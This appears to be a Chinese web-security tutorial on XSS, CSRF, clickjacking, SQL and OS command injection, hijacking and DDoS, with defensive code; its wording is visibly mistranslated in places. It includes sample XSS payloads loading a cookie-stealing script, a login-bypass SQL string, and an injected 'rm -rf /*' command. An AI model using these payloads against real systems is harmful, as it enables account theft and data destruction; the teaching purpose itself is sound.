关于前端:常⻅Web攻击一

3次阅读

共计 5340 个字符,预计需要花费 14 分钟才能阅读完成。

1、XSS

**Cross Site Scripting
跨站脚本攻打 **

XSS (Cross-Site Scripting),跨站脚本攻打,因为缩写和 CSS 重叠,所以只能叫 XSS。跨站脚本攻打是指通过存在安全漏洞的 Web ⽹站注册⽤户的浏览器内运⾏⾮法的⾮本站点 HTML 标签或 JavaScript 进⾏的⼀种攻打。

跨站脚本攻打有可能造成以下影响:

- 利⽤虚伪输⼊表单骗取⽤户个⼈信息。
- 利⽤脚本窃取⽤户的 Cookie 值,被害者在不知情的状况下,帮忙攻击者发送歹意申请。
- 显示伪造的⽂章或图⽚。

XSS 攻打分类

// 一般
http://localhost:3000/?from=china
// alert 尝试
http://localhost:3000/?from=<script>alert(3)</script>
// 获取 Cookie
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
</script>
// 短域名伪造 https://dwz.cn/
// 伪造 cookie ⼊侵 chrome
document.cookie="kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTUz
NTY1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0="

存储型 – 存储到 DB 后读取时注⼊

// 评论
<script>alert(1)</script>
// 跨站脚本注⼊
我来了 <script src="http://localhost:4000/hack.js"></script>
XSS 攻打的危害 – Scripting 能⼲啥就能⼲啥

获取⻚⾯数据
获取 Cookies
劫持前端逻辑
发送申请
偷取⽹站的任意数据
偷取⽤户的材料
偷取⽤户的机密和登录态
坑骗⽤户

防备⼿段

ejs 本义⼩常识
<% code %> ⽤于执⾏其中 javascript 代码;
<%= code %> 会对 code 进⾏ html 本义;
<%- code %> 将不会进⾏本义

HEAD

ctx.set('X-XSS-Protection', 0) // 禁⽌ XSS 过滤
// http://localhost:3000/?from=<script>alert(3)</script> 能够拦挡 但假装⼀下就不⾏
了

0 禁⽌ XSS 过滤。
1 启⽤ XSS 过滤(通常浏览器是默认的)。如果检测到跨站脚本攻打,浏览器将革除⻚⾯(删除不
平安的局部)。
1;mode=block 启⽤ XSS 过滤。如果检测到攻打,浏览器将不会革除⻚⾯,⽽是阻⽌⻚⾯加载。
1; report= (Chromium only)
启⽤ XSS 过滤。如果检测到跨站脚本攻打,浏览器将革除⻚⾯并使⽤ CSP report-uri 指令的功
能发送违规报告。

CSP

内容安全策略 (CSP, Content Security Policy) 是⼀个附加的平安层,⽤于帮忙检测和缓解某
些类型的攻打,包含跨站脚本 (XSS) 和数据注⼊等攻打。这些攻打可⽤于实现从数据窃取到
⽹站毁坏或作为恶意软件散发版本等⽤途。
CSP 实质上就是建⽴⽩名单,开发者明确通知浏览器哪些内部资源能够加载和执⾏。咱们只
须要配置规定,如何拦挡是由浏览器⾃⼰实现的。咱们能够通过这种⽅式来尽量减少 XSS 攻
击。

// 只容许加载本站资源
Content-Security-Policy: default-src 'self'
// 只容许加载 HTTPS 协定图⽚
Content-Security-Policy: img-src https://*
// 不容许加载任何起源框架
Content-Security-Policy: child-src 'none'
ctx.set('Content-Security-Policy', "default-src'self'")
// 尝试⼀下内部资源不能加载
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
</script>

转义字符
⿊名单

⽤户的输⼊永远不可信赖的,最广泛的做法就是本义输⼊输入的内容,对于引号、尖括号、斜杠
进⾏本义

 function escape(str) {str = str.replace(/&/g, '&amp;')
 str = str.replace(/</g, '&lt;')
 str = str.replace(/>/g, '&gt;')
 str = str.replace(/"/g,'&quto;')
 str = str.replace(/'/g,'&#39;')
 str = str.replace(/`/g, '&#96;')
 str = str.replace(/\//g, '&#x2F;')
 return str
 }

富⽂原本说,显然不能通过上⾯的方法来本义所有字符,因为这样会把须要的格局也过滤掉。对
于这种状况,通常采⽤⽩名单过滤的方法,当然也能够通过⿊名单过滤,然而思考到须要过滤的
标签和标签属性切实太多,更加举荐使⽤⽩名单的⽅式。
⽩名单

 let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>')
 // -> <h1>XSS Demo</h1>&lt;script&gt;alert("xss");&lt;/script&gt;
 console.log(html)

HttpOnly Cookie

这是预防 XSS 攻打窃取⽤户 cookie 最无效的进攻⼿段。Web 应 ⽤程序在设置 cookie 时,将其
属性设为 HttpOnly,就能够防止该⽹⻚的 cookie 被客户端歹意 JavaScript 窃取,爱护⽤户
cookie 信息。

response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")

2、CSRF

CSRF(Cross Site Request Forgery),即跨站申请伪造,是⼀种常⻅的 Web 攻打,它利⽤⽤户已登
录的身份,在⽤户毫不知情的状况下,以⽤户的名义实现⾮法操作。

** ⽤户曾经登录了站点 A,并在本地记录了 cookie
在⽤户没有登出站点 A 的状况下(也就是 cookie ⽣效的状况下),拜访了歹意攻击者提供的诱惑
危险站点 B (B 站点要求拜访站点 A)。
站点 A 没有做任何 CSRF 进攻 **

登录 http://localhost:4000/csrf.html

CSRF 攻打危害

利⽤⽤户登录态
⽤户不知情
实现业务申请
盗取⽤户资⾦(转账,生产)
假冒⽤户发帖背锅
侵害⽹站名誉

进攻
禁⽌第三⽅⽹站带 Cookie – 有兼容性问题
Referer Check – Https 不发送 referer

app.use(async (ctx, next) => {await next()
const referer = ctx.request.header.referer
 console.log('Referer:', referer)
})

验证码

3、点击劫持 – clickjacking

点击劫持是⼀种视觉坑骗的攻打⼿段。攻击者将须要攻打的⽹站通过 iframe 嵌套的⽅式嵌⼊⾃⼰
的⽹⻚中,并将 iframe 设置为通明,在⻚⾯中透出⼀个按钮诱导⽤户点击。

// 登录
http://localhost:4000/clickjacking.html

进攻

X-FRAME-OPTIONS
X-FRAME-OPTIONS 是⼀个 HTTP 响应头,在古代浏览器有⼀个很好的⽀持。这个 HTTP 响应头 就
是为了进攻⽤ iframe 嵌套的点击劫持攻打。
该响应头有三个值可选,别离是
**DENY,示意⻚⾯不容许通过 iframe 的⽅式展现
SAMEORIGIN,示意⻚⾯能够在雷同域名下通过 iframe 的⽅式展现
ALLOW-FROM,示意⻚⾯能够在指定起源的 iframe 中展现 **

ctx.set('X-FRAME-OPTIONS', 'DENY')

JS ⽅式

<head>
   <style id="click-jack">
     html {display: none !important;}
   </style>
</head>
<body>
 <script>
   if (self == top) {var style = document.getElementById('click-jack')
     document.body.removeChild(style)
   } else {top.location = self.location}
 </script>
</body>

以上代码的作⽤就是当通过 iframe 的⽅式加载⻚⾯时,攻击者的⽹⻚间接不显示所有内容了。

SQL 注⼊

// 填⼊非凡明码
1'or'1'='1
// 拼接后的 SQL
SELECT *
FROM test.user
WHERE username = 'laowang'
AND password = '1'or'1'='1'

进攻

所有的查问语句倡议使⽤数据库提供的参数化查问接⼝ **,参数化的语句使⽤参数⽽不是将⽤户
输⼊变量嵌⼊到 SQL 语句中,即不要间接拼接 SQL 语句。例如 Node.js 中的 mysqljs 库的 query
⽅法中的 ? 占位参数。

// 谬误写法
const sql = `
 SELECT *
 FROM test.user
 WHERE username = '${ctx.request.body.username}'
 AND password = '${ctx.request.body.password}'
 `
 console.log('sql', sql)
 res = await query(sql)

// 正确的写法
const sql = `
SELECT *
FROM test.user
WHERE username = ?
AND password = ?
`
console.log('sql', sql,)
res = await query(sql,[ctx.request.body.username, ctx.request.body.password])

严格限度 Web 应⽤的数据库的操作权限 **,给此⽤户提供仅仅可能满⾜其⼯作的最低权限,从⽽
最⼤限度的缩小注⼊攻打对数据库的危害
后端代码查看输⼊的数据是否合乎预期 **,严格限度变量的类型,例如使⽤正则表达式进⾏⼀些
匹配解决。
对进⼊数据库的特殊字符(’,”,\,<,>,&,,; 等)进⾏本义解决,或编码转换 *。基本上所
有的后端语⾔都有对字符串进⾏本义解决的⽅法,⽐如 lodash 的 lodash._escapehtmlchar 库。

**OS 命令注⼊

OS 命令注⼊和 SQL 注⼊差不多,只不过 SQL 注⼊是针对数据库的,⽽ OS 命令注⼊是针对操作系统的。OS 命令
注⼊攻打指通过 Web 应⽤,执⾏⾮法的操作系统命令达到攻打的⽬的。只有在能调⽤ Shell 函数的地⽅就有
存在被攻打的⻛险。假使调⽤ Shell 时存在疏漏,就能够执⾏插⼊的⾮法命令。

// 以 Node.js 为例,如果在接⼝中须要从 github 下载⽤户指定的 repo
const exec = require('mz/child_process').exec;
let params = {/* ⽤户输⼊的参数 */};
exec(`git clone ${params.repo} /some/path`);

如果传⼊的参数是会怎么

https://github.com/xx/xx.git && rm -rf /* &&

申请劫持

**DNS 劫持
顾名思义,DNS 服务器 (DNS 解析各个步骤) 被篡改,批改了域名解析的后果,使得拜访到的不是预期的
ip
HTTP 劫持 运营商劫持,此时⼤概只能降级 HTTPS 了 **

DDOS

http://www.ruanyifeng.com/blo… 阮⼀峰

distributed denial of service
DDOS 不是⼀种攻打,⽽是⼀⼤类攻打的总称。它有⼏⼗种类型,新的攻打⽅法还在一直创造进去。⽹
站运⾏的各个环节,都能够是攻打⽬标。只有把⼀个环节攻破,使得整个流程跑不起来,就达到了瘫痪
服务的⽬的。
其中,⽐较常⻅的⼀种攻打是 cc 攻打。它就是简略粗犷地送来⼤量失常的申请,超出服务器的最⼤承
受量,导致宕机。我遭逢的就是 cc 攻打,最多的时候全世界⼤概 20 多个 IP 地址轮流发出请求,每个地
址的申请量在每秒 200 次~300 次。我看拜访⽇志的时候,就感觉那些申请像洪⽔⼀样涌来,⼀眨眼就是
⼀⼤堆,⼏分钟的工夫,⽇志⽂件的体积就⼤了 100MB。说实话,这只能算⼩攻打,然而我的个⼈⽹站
没有任何防护,服务器还是跟其余⼈共享的,这种流量⼀来⽴刻就下线了。

常⻅攻打⽅式

SYN Flood
此攻打通过向⽬标发送具备欺骗性源 IP 地址的⼤量 TCP“初始连贯申请”SYN 数据包来利⽤ TCP 握
⼿。⽬标机器响应每个连贯申请,而后期待握⼿中的最初⼀步,这⼀步从未发⽣过,耗尽了过程
中的⽬标资源。
HTTP Flood
此攻打相似于同时在多个不同计算机上重复按 Web 浏览器中的刷新 – ⼤量 HTTP 申请泛滥服务器,
导致拒绝服务。

进攻⼿段

备份⽹站不⼀定是全功能的,如果能做到全动态浏览,就能满⾜需要。最低限度应该能够显示布告,通知⽤户,⽹站出了问题,正在全⼒抢修。

  • HTTP 申请的拦挡 ⾼防 IP - 靠谱的运营商 多个 Docker

硬件 服务器 防⽕墙

  • 带宽扩容 + CDN

提⾼立功老本

正文完
 0